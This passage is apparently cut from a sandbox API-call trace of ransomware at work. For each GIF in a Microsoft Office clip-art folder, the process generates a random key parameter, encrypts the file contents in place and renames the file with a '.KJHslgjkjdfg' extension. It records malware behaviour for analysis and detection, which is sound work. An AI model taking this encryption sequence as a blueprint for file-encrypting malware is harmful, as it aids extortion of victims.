| out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x2f, lpOverlapped=0x0) returned 1 [0193.553] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x30) returned 1 [0193.553] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.553] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0193.553] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.553] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.553] SetEndOfFile (hFile=0x118) returned 1 [0193.555] GetProcessHeap () returned 0x2a0000 [0193.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.555] GetProcessHeap () returned 0x2a0000 [0193.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.555] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif.kjhslgjkjdfg")) returned 1 [0193.590] CloseHandle (hObject=0x118) returned 1 [0193.590] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0193.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.626] GetProcessHeap () returned 0x2a0000 [0193.627] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.627] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.627] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.627] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0193.629] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.629] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.629] GetProcessHeap () returned 0x2a0000 [0193.629] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.629] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.629] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.629] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.629] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.630] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.630] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.630] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.630] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.630] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.630] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.630] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.630] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2dd, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x2dd, lpOverlapped=0x0) returned 1 [0193.630] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2e0) returned 1 [0193.630] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.630] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x2e0, lpOverlapped=0x0) returned 1 [0193.630] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.631] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.631] SetEndOfFile (hFile=0x118) returned 1 [0193.636] GetProcessHeap () returned 0x2a0000 [0193.636] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.636] GetProcessHeap () returned 0x2a0000 [0193.636] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.636] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif.kjhslgjkjdfg")) returned 1 [0193.638] CloseHandle (hObject=0x118) returned 1 [0193.639] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0193.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.640] GetProcessHeap () returned 0x2a0000 [0193.640] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.640] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.640] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.640] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0193.659] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.659] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.659] GetProcessHeap () returned 0x2a0000 [0193.659] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.659] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.659] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.659] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.659] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.660] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.660] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.660] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.660] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.660] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.660] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.660] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.660] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x595, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x595, lpOverlapped=0x0) returned 1 [0193.660] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x5a0, dwBufLen=0x5a0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x5a0) returned 1 [0193.660] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.660] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x5a0, lpOverlapped=0x0) returned 1 [0193.660] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.660] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.661] SetEndOfFile (hFile=0x118) returned 1 [0193.663] GetProcessHeap () returned 0x2a0000 [0193.663] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.663] GetProcessHeap () returned 0x2a0000 [0193.663] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.663] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif.kjhslgjkjdfg")) returned 1 [0193.665] CloseHandle (hObject=0x118) returned 1 [0193.666] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0193.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.668] GetProcessHeap () returned 0x2a0000 [0193.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.668] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.668] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.669] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0193.674] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.674] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.674] GetProcessHeap () returned 0x2a0000 [0193.674] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.674] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.674] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.674] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.674] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.675] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.675] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.675] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.676] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.676] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.676] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.676] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.676] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x11d1, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x11d1, lpOverlapped=0x0) returned 1 [0193.698] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x11e0, dwBufLen=0x11e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x11e0) returned 1 [0193.698] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.698] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x11e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x11e0, lpOverlapped=0x0) returned 1 [0193.701] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.701] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x12b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.701] SetEndOfFile (hFile=0x118) returned 1 [0193.703] GetProcessHeap () returned 0x2a0000 [0193.703] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.704] GetProcessHeap () returned 0x2a0000 [0193.704] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif.kjhslgjkjdfg")) returned 1 [0193.706] CloseHandle (hObject=0x118) returned 1 [0193.706] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0193.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.707] GetProcessHeap () returned 0x2a0000 [0193.707] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.707] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.707] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.707] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0193.712] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.713] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.713] GetProcessHeap () returned 0x2a0000 [0193.713] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.713] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.713] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.713] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.713] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.713] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.713] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.713] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.713] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.713] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.713] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.713] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.714] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1323, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1323, lpOverlapped=0x0) returned 1 [0193.727] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1330, dwBufLen=0x1330 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1330) returned 1 [0193.727] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.728] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1330, lpOverlapped=0x0) returned 1 [0193.728] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.728] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.728] SetEndOfFile (hFile=0x118) returned 1 [0193.731] GetProcessHeap () returned 0x2a0000 [0193.731] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.731] 